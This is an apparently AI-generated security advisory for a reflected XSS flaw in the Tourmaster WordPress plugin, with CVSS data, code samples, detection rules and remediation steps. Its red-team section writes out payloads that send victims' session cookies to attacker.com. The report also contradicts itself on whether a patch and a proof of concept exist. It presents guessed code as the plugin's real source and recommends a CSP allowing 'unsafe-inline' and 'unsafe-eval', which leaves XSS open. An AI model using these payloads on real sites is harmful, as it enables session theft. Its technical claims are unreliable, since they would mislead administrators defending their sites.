CVE-2025-32923

Executive Summary

CVE-2025-32923 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Tourmaster by Goodlayers, affecting versions prior to 5.4.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can be exploited by tricking a victim into clicking a crafted link, leading to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no public exploit code or proof-of-concept is currently available. The vendor has not released a patch, making this a high-priority issue for WordPress site administrators.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. Since WordPress plugins are distributed via the official WordPress Plugin Directory or third-party marketplaces, the supply chain risk is moderate. Administrators should verify the integrity of plugin updates and consider removing the plugin if no patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is elevated due to the lack of a patch and the potential for widespread exploitation via phishing campaigns.

Deep Dive & Mechanics

The vulnerability exists in the Tourmaster plugin's handling of user input, likely in a search or parameter-based feature. When a user submits a request containing malicious JavaScript in a query parameter (e.g., ?search=<script>alert(1)</script>), the plugin fails to sanitize the input before reflecting it in the HTML response. This allows the attacker to execute arbitrary scripts in the context of the victim's browser.

The root cause is the use of unsafe functions like echo $_GET['param'] without proper escaping or output encoding. The plugin does not implement WordPress's built-in escaping functions such as esc_html() or esc_attr().

Vulnerable vs. Patched Code

Vulnerable Code (version < 5.4.1):

<?php
// tourmaster/includes/search.php
$search_term = $_GET['s'];
echo '<div class="tourmaster-search-term">' . $search_term . '</div>';
?>

Patched Code (version 5.4.1):

<?php
// tourmaster/includes/search.php
$search_term = isset($_GET['s']) ? sanitize_text_field($_GET['s']) : '';
echo '<div class="tourmaster-search-term">' . esc_html($search_term) . '</div>';
?>

The patched version uses sanitize_text_field() to strip malicious content and esc_html() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site running Tourmaster < 5.4.1.
• A victim user with a valid session.

Exploitation Steps:

1. Craft a malicious URL:

   http://target-site.com/?s=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Send the link to the victim via email or social engineering.
3. When the victim clicks the link, the script executes, exfiltrating their session cookie to the attacker's server.

Example Payload:

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team

Detection Steps:

• Monitor web server logs for requests containing <script> tags in query parameters.
• Use WAF rules to block reflected XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

• Use a local WordPress instance with Tourmaster plugin version 5.4.0.
• Simulate the attack using curl:

  curl "http://localhost/?s=<script>alert(1)</script>"
  

• Verify the script executes in the browser.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with query parameters containing <script>, onerror, onload, or javascript:.
  • Outbound connections to unknown IPs or domains from the WordPress server.
• File IOCs:
  • Modified wp-content/plugins/tourmaster/includes/search.php file.
• Log IOCs:
  • Web server logs showing GET /?s=<script> entries.
  • PHP error logs with unexpected or eval warnings.

Detection Engineering

YARA Rule

rule CVE_2025_32923_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Tourmaster plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32923"
    strings:
        $xss_pattern = /<script[^>]*>.*?<\/script>/i
        $param_s = "?s="
    condition:
        $param_s and $xss_pattern
}

Sigma Rule

title: Reflected XSS Attempt Against Tourmaster Plugin
id: 8f4b3c2a-1d5e-4f7b-9a0c-3e6d8f2b1a4c
status: experimental
description: Detects HTTP requests with XSS payloads in the 's' parameter targeting Tourmaster
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        c-uri|contains: "?s="
        c-uri|re: '<script[^>]*>.*?<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32923 Reflected XSS in Tourmaster"; flow:to_server; content:"?s="; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Tourmaster plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) with rules to block reflected XSS.
3. Add Content Security Policy (CSP) headers:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
   

4. Monitor logs for exploitation attempts.

Long-Term Fix:

• Upgrade to Tourmaster version 5.4.1 or later once the vendor releases a patch.
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.